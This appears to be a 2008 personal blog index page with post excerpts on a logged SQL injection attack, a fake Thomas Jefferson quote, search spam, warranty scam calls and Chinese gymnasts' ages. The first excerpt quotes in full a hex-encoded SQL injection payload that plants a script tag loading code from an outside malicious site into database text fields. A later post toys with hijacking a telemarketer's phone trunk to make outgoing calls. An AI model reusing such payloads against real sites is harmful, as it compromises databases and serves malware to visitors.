Blog SQL injection attack

I’ve been logging a few attacks on my blog site which put the following into the logfiles:

163.19.104.88 – – [02/Oct/2008:05:57:15 -0400] “GET /?’;DECLARE%20@S%20CHAR(4000);SET%20@S=CAST(0x4445434C415245204054207661726368617228323535292C40432076617263686172283430303029204445434C415245205461626C655F437572736F7220435552534F5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F626A6563747320612C737973636F6C756D6E73206220776865726520612E69643D622E696420616E6420612E78747970653D27752720616E642028622E78747970653D3939206F7220622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20657865632827757064617465205B272B40542B275D20736574205B272B40432B275D3D2727223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777332E73733131716E2E636E2F63737273732F6E65772E68746D223E3C2F7363726970743E3C212D2D27272B5B272B40432B275D20776865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777332E73733131716E2E636E2F63737273732F6E65772E68746D223E3C2F7363726970743E3C212D2D272727294645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72%20AS%20CHAR(4000));EXEC(@S); HTTP/1.1” 200 42469 “-” “Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)”

Turns out its a SQL injection attack which is allegedly being carried out by a criminal gang called Rock Phish (or its being carried out by two teenagers pretending to be a “gang”). The attack uses WAITFOR DELAY to see if it worked or not. The user agent and IP addresses change for each attack, so one has to be clever in defending against it. I’ve been blocking the IP when it comes up, but that becomes impractical after a while.
Continue reading

Tracing the bogus Thomas Jefferson bank quote

As mentioned in the previous post, a quote attributed to Thomas Jefferson is being bandied about now that the bank bailout is in the news. The quote is:

“I believe that banking institutions are more dangerous to our liberties than standing armies. If the American people ever allow private banks to control the issue of their currency, first by inflation, then by deflation, the banks and corporations that will grow up around [the banks] will deprive the people of all property until their children wake-up homeless on the continent their fathers conquered.” – Thomas Jefferson to Albert Gallatin, 1802

I thought the quote was fishy-sounding, so I did some Googling tonight to find where it came from. The first step was to search on a unique snippet of the quote. Out of 220 Google results on “continent their fathers conquered” I found a slew of results from this year (and especially last month), but many without listed dates. How far back could I trace it?
Continue reading

Bogus Thomas Jefferson quote

I found this quote supposedly by Thomas Jefferson floating around the Internet:

“I believe that banking institutions are more dangerous to our liberties than standing armies. If the American people ever allow private banks to control the issue of their currency, first by inflation, then by deflation, the banks and corporations that will grow up around [the banks] will deprive the people of all property until their children wake-up homeless on the continent their fathers conquered.” – Thomas Jefferson to Albert Gallatin, 1802

While a bit poetic, I think the quote is fabricated. The folks at Snopes think its bogus. It also doesn’t appear on UVa’s Thomas Jefferson Quotation Page.

Just like the Einstein Bee quote, someone used Jefferson’s stature to prop up their modern-day argument. Continue reading

Everyone’s a Eugene

Interesting. I did a search on “they call me Eugene”, looking for a dumb novelty song from the early 80s. Instead of my song, I found a bunch of fake websites with that phrase designed to game the search engines:

your up to date arthritis news site 1375 By Mortgage Refinancing …
They call me Eugene Keith Diaz. I live in a cozy 2 bedroom timber frame home a few miles outside of Woodmore, KS. Me and my family have been living here …
www.mortgage-refinancing.name/129.html – 4k – Cached – Similar pages – Note this
Continue reading

Not so Great Atlantic Warranty

Got a mystery call to my mobile phone from a number which does not exist: 760-204-8438. I get so pissed off when I pay for Great Atlantic Warranty to spam my mobile phone.

In related news, many unhappy customers are flocking to my website, looking to vent about this untrustworthy company. If you’ve been called by them please weigh in!

Update 22 Oct 2008: Word on the street is that Great Atlantic Warranty is now North American Warranty Solutions.

Warranty calls continue

When will they ever learn?

We got another call tonight from the warranty scam artists, this time using the phone number 702-520-9150 as their fake Caller ID. Once the nice gentleman got on the line I bum-rushed him.

“Can I have the make and model of your vehicle?” asked “Mike.”

“How can you live with yourself?” I interrupted.

“Excuse me?”

“How can you live with yourself, working for such a sleazy company?”

Click! The next thing I heard was hold music, which turned to silence a moment later. I realized I was keeping a trunk busy on the company’s phone system, so I left my phone on hold for another 30 minutes, padding their long distance bill just for fun.

I might get even nastier the next time they call. Or better yet, I’ll try out some digits when I’m alone on the trunk. Maybe I can figure out how to make outgoing calls, or find my way to their voicemail system.

Gold medal-worthy coverups

I was visiting my dentist yesterday when he and his assistant began discussing the allegedly-underage Chinese gymnasts. The assistant had noticed a new tooth in one of the gymnast’s mouths.

“If they’re sixteen, they’ve got all of em,” my dentist remarked as he went on with his work.

“Aha!” I thought as I remembered the crucial role dental records play in police investigations. Teeth don’t lie. They’re often used in investigations to determine the age of a victim.

Earlier this week a “hacker” fluent in Chinese discovered official spreadsheets showing that gymnasts He Kexin and Jiang Yuyuan are actually 14. The New York Times has also found similar evidence. Yet, the IOC today says “no proof exists” and stands by the Chinese. Unbelievable.

I’d like to believe in the pureness of Olympic sport but there’s far too much money involved for it to be pure. I wouldn’t put it past China to pull a fast one, nor for the IOC to look the other way. Both aren’t exactly known to be trustworthy.